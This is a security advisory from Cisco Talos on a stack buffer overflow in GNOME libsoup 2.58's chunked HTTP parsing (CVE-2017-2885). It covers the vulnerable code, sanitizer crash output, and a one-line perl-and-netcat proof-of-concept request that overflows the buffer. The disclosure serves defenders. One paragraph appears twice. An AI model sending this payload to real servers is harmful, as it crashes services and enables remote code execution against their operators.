Talos Vulnerability Report

TALOS-2017-0392

GNOME libsoup HTTP Chunked Encoding Remote Code Execution Vulnerability

August 10, 2017
CVE Number

CVE-2017-2885

Summary

An exploitable stack based buffer overflow vulnerability exists in the GNOME libsoup 2.58. A specially crafted HTTP request can cause a stack overflow resulting in remote code execution. An attacker can send a special HTTP request to the vulnerable server to trigger this vulnerability.

Tested Versions

GNOME libsoup 2.58

Product URLs

https://wiki.gnome.org/action/show/Projects/libsoup

CVSSv3 Score

9.8 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

CWE

CWE-121: Stack-based Buffer Overflow

Details

GNOME libsoup is a library implementing client and server side code for dealing with HTTP requests and responses. It is used to implement custom web servers or clients. Usually it is used embedded in other applications such as media streaming servers for basic web server functionality. It can also be used standalone and embedded in hardware devices.

When processing an HTTP request which contains chunk encoded data, an improper bounds checking can lead to large memory copy operation which can overflow a statically sized buffer on the stack. Buffer that is being overflown is located in function soup_body_input_stream_read_chunked in file libsoup/soup-body-input-stream.c:

static gssize soup_body_input_stream_read_chunked (SoupBodyInputStream  *bistream,
                                   void                 *buffer,
                                   gsize                 count,
                                   gboolean              blocking,
                                   GCancellable         *cancellable,
                                   GError              **error)
  
      SoupFilterInputStream *fstream = SOUP_FILTER_INPUT_STREAM (bistream->priv->base_stream);
      char metabuf[128];                                [1]
      gssize nread;
      gboolean got_line;

The buffer is allocated on the stack at [1]. While further processing the body of a chunk-encoded HTTP request, function soup_filter_input_stream_read_line is called:

      case SOUP_BODY_INPUT_STREAM_STATE_CHUNK_END:
              nread = soup_filter_input_stream_read_line (
                      SOUP_FILTER_INPUT_STREAM (bistream->priv->base_stream),
                      metabuf, sizeof (metabuf), blocking,
                      &got_line, cancellable, error);

In the above code, we can see metabuf and it’s length being passed to the soup_filter_input_stream_read_line function which is just a wrapper around soup_filter_input_stream_read_until being called with new line as delimiter:

gssize soup_filter_input_stream_read_line (SoupFilterInputStream  *fstream,
                                  void                   *buffer,
                                  gsize                   length,
                                  gboolean                blocking,
                                  gboolean               *got_line,
                                  GCancellable           *cancellable,
                                  GError                **error)
  
      return soup_filter_input_stream_read_until (fstream, buffer, length,
                                                  "\n", 1, blocking,
                                                  TRUE, got_line,
                                                  cancellable, error);

Function soup_filter_input_stream_read_until does the actual reading from the input stream into the buffer.

      /* Scan for the boundary */
      end = buf + fstream->priv->buf->len;                                        [2]
      if (!eof)
              end -= boundary_length;
      for (p = buf; p <= end; p++) {                                                [3]
              if (*p == *(guint8*)boundary &&
                  !memcmp (p, boundary, boundary_length)) {                        [4]
                      if (include_boundary)
                              p += boundary_length;
                      *got_boundary = TRUE;
                      break;
              
      

      if (!*got_boundary && fstream->priv->buf->len < length && !eof)
              goto fill_buffer;

      /* Return everything up to 'p' (which is either just after the boundary if
       * include_boundary is TRUE, just before the boundary if include_boundary is
       * FALSE, @boundary_len - 1 bytes before the end of the buffer, or end-of-
       * file).
       */
      return read_from_buf (fstream, buffer, p - buf);                                [5]

In the above code, at [2] a pointer to the end of the stream data is calculated, at [3] it is used as an end condition in a for loop which is looking for a set delimiter (variable boundary, a newline character in this case) at [4]. Pointer p is being incremented in the loop until newline is found. Finally, at [5], function read_from_buf is called with input stream as source, buffer as destination and offset to newline character as length. No check to make sure the buffer is big enough is performed anywhere. In the function read_from_buf a memcpy call can thus lead to a buffer overflow:

static gssize read_from_buf (SoupFilterInputStream *fstream, gpointer buffer, gsize count)
  
      GByteArray *buf = fstream->priv->buf;

      if (buf->len < count)
              count = buf->len;
      memcpy (buffer, buf->data, count);

To trigger this vulnerability, a simple HTTP request like the following is enough: GET / HTTP/1.0 Transfer-Encoding: chunked

When parsing this request, the first chunk will be of size 1, and then the parser proceeds to scan the overly long series of A characters for a new line. A string longer than 128 characters will overflow the buffer. This can be abused in order to crash the server or achieve remote code execution in the context of the server. When parsing this request, the first chunk will be of size 1, and then the parser proceeds to scan the overly long series of A characters for a new line. A string longer than 128 characters will overflow the buffer. This can be abused in order to crash the server or achieve remote code execution in the context of the server.

Crash Information

Address Sanitizer output:

Listening on http://0.0.0.0:12323/
Listening on http://[::]:12323/


Waiting for requests...
=================================================================
==119749==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7fffffffb280 at pc 0x0000004a3bfd bp 0x7fffffffb010 sp 0x7fffffffa7c0
WRITE of size 151 at 0x7fffffffb280 thread T0
    #0 0x4a3bfc in __asan_memcpy ??:?
    #1 0x4a3bfc in ?? ??:0
    #2 0x7ffff7962126 in read_from_buf /home/user/libsoup/libsoup/libsoup/soup-filter-input-stream.c:59
    #3 0x7ffff7962126 in soup_filter_input_stream_read_until /home/user/libsoup/libsoup/libsoup/soup-filter-input-stream.c:278
    #4 0x7ffff7962126 in ?? ??:0
    #5 0x7ffff7961475 in soup_filter_input_stream_read_line /home/user/libsoup/libsoup/libsoup/soup-filter-input-stream.c:183
    #6 0x7ffff7961475 in ?? ??:0
    #7 0x7ffff791fd45 in soup_body_input_stream_read_chunked /home/user/libsoup/libsoup/libsoup/soup-body-input-stream.c:194
    #8 0x7ffff791fd45 in read_internal /home/user/libsoup/libsoup/libsoup/soup-body-input-stream.c:249
    #9 0x7ffff791fd45 in ?? ??:0
    #10 0x7ffff79966b0 in io_read /home/user/libsoup/libsoup/libsoup/soup-message-io.c:762
    #11 0x7ffff79966b0 in ?? ??:0
    #12 0x7ffff79901b5 in io_run_until /home/user/libsoup/libsoup/libsoup/soup-message-io.c:982
    #13 0x7ffff79901b5 in ?? ??:0
    #14 0x7ffff7993ee3 in io_run /home/user/libsoup/libsoup/libsoup/soup-message-io.c:1053
    #15 0x7ffff7993ee3 in ?? ??:0
    #16 0x7ffff7999939 in soup_message_read_request /home/user/libsoup/libsoup/libsoup/soup-message-server-io.c:304
    #17 0x7ffff7999939 in ?? ??:0
    #18 0x7ffff71a00a6 in g_cclosure_marshal_VOID__OBJECTv ??:?
    #19 0x7ffff71a00a6 in ?? ??:0
    #20 0x7ffff719d1d3 in g_closure_invoke ??:?
    #21 0x7ffff719d1d3 in ?? ??:0
    #22 0x7ffff71b79a5 in g_signal_emit_valist ??:?
    #23 0x7ffff71b79a5 in ?? ??:0
    #24 0x7ffff71b808e in g_signal_emit ??:?
    #25 0x7ffff71b808e in ?? ??:0
    #26 0x7ffff79e894a in listen_watch /home/user/libsoup/libsoup/libsoup/soup-socket.c:1237
    #27 0x7ffff79e894a in ?? ??:0
    #28 0x7ffff6ec6049 in g_main_context_dispatch ??:?
    #29 0x7ffff6ec6049 in ?? ??:0
    #30 0x7ffff6ec63ef in g_main_context_dispatch ??:?
    #31 0x7ffff6ec63ef in ?? ??:0
    #32 0x7ffff6ec6711 in g_main_loop_run ??:?
    #33 0x7ffff6ec6711 in ?? ??:0
    #34 0x4eb8cc in main /home/user/libsoup/libsoup/examples/simple-httpd.c:360
    #35 0x4eb8cc in ?? ??:0
    #36 0x7ffff5f8a82f in __libc_start_main /build/glibc-bfm8X4/glibc-2.23/csu/../csu/libc-start.c:291
    #37 0x7ffff5f8a82f in ?? ??:0
    #38 0x419dc8 in _start ??:?
    #39 0x419dc8 in ?? ??:0 


Address 0x7fffffffb280 is located in stack of thread T0 at offset 160 in frame
    #0 0x7ffff791f8af in read_internal /home/user/libsoup/libsoup/libsoup/soup-body-input-stream.c:237
    #1 0x7ffff791f8af in ?? ??:0


  This frame has 2 object(s):
    [32, 160) 'metabuf.i'
    [192, 196) 'got_line.i' <== Memory access at offset 160 partially underflows this variable
HINT: this may be a false positive if your program uses some custom stack unwind mechanism or swapcontext
      (longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: stack-buffer-overflow (/home/user/libsoup/libsoup/examples/.libs/simple-httpd+0x4a3bfc)
Shadow bytes around the buggy address:
  0x10007fff7600: 00 00 00 00 f1 f1 f1 f1 00 f3 f3 f3 00 00 00 00
  0x10007fff7610: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x10007fff7620: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x10007fff7630: 00 00 00 00 00 00 00 00 00 00 00 00 f1 f1 f1 f1
  0x10007fff7640: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  =>0x10007fff7650:[f2]f2 f2 f2 04 f3 f3 f3 00 00 00 00 00 00 00 00
  0x10007fff7660: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x10007fff7670: 00 00 00 00 ca ca ca ca 00 00 00 00 00 00 00 00
  0x10007fff7680: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x10007fff7690: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x10007fff76a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Heap right redzone:      fb
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack partial redzone:   f4
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
  ==119749==ABORTING

Exploit Proof-of-Concept

perl -e 'print "GET / HTTP/1.0\r\nTransfer-Encoding: chunked\r\n\r\n1\r\n" . "A"x150 .  "\r\n \r\n"' | nc <target> <port>

Timeline

2017-08-02 - Vendor Disclosure
2017-08-10 - Public Release

Credit

Discovered by Aleksandar Nikolic of Cisco Talos.